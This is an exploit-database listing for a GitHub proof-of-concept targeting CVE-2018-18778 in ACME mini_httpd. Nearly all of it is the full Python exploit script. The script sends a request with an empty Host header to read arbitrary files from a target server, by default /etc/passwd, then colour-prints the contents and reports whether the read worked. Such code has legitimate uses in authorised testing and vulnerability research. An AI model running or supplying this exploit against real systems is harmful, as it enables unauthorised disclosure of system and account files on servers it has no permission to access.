Exploit database

GH-bf376a7a872c73e30accaf4f0f235488

k3ystr0k3r/cve-2018-18778

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2018-18778

6 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
k3ystr0k3r/cve-2018-18778Revision 823f86727c91

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 2,982 bytes
#!/usr/bin/env python3

import argparse
import requests
from rich.console import Console
from rich.text import Text

console = Console()

class ExploitACME:
    def __init__(self, target_url, timeout=5):
        self.target = target_url.rstrip('/')
        self.timeout = timeout

    def read_file(self, file_path="/etc/passwd"):
        try:
            url = self.target + file_path
            with console.status(f"[bold blue]Sending request to {url} ...[/]"):
                response = requests.get(
                    url,
                    headers={"Host": ""},
                    timeout=self.timeout,
                    verify=False
                )
            return response.text
        except requests.exceptions.RequestException as e:
            console.print(f"[bold red][!] Request failed: {e}[/]")
            return None

def colorize_passwd_line(line):
    parts = line.strip().split(':')
    if len(parts) < 7:
        return Text(line)

    username, password, uid, gid, gecos, home, shell = parts[:7]
    colored = Text()
    colored.append(username, style="bold cyan")
    colored.append(":", style="bold white")
    colored.append(password, style="red")
    colored.append(":", style="bold white")
    colored.append(uid, style="yellow")
    colored.append(":", style="bold white")
    colored.append(gid, style="green")
    colored.append(":", style="bold white")
    colored.append(gecos, style="white")
    colored.append(":", style="bold white")
    colored.append(home, style="blue")
    colored.append(":", style="bold white")
    colored.append(shell, style="magenta")
    return colored

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2018-18778 - ACME mini_httpd Arbitrary File Read ",
        epilog="Example: %(prog)s http://127.0.0.1:8080 --file /etc/passwd"
    )
    parser.add_argument("target", help="Target URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("--file", default="/etc/passwd", help="File path to read (absolute)")
    parser.add_argument("--timeout", type=int, default=5, help="Request timeout in seconds")
    args = parser.parse_args()

    console.print(f"[bold yellow][!][/] Coded By: K3ysTr0K3R")
    console.print(f"[bold blue][*][/] Targeting [cyan]{args.target}[/]")
    console.print(f"[bold blue][*][/] Trying to read [yellow]{args.file}[/]\n")

    exploit = ExploitACME(args.target, args.timeout)
    response = exploit.read_file(args.file)

    if response is None:
        console.print("[bold red][-] No response received. Exiting.[/]")
        return

    lines = response.splitlines()
    for line in lines:
        console.print(colorize_passwd_line(line))

    success = "root:" in response or "bin:" in response
    if success:
        console.print("\n[bold green][+] File content appears to be valid.[/]")
    else:
        console.print("\n[bold yellow][-] File content not found (may not exist or not readable).[/]")

if __name__ == "__main__":
    main()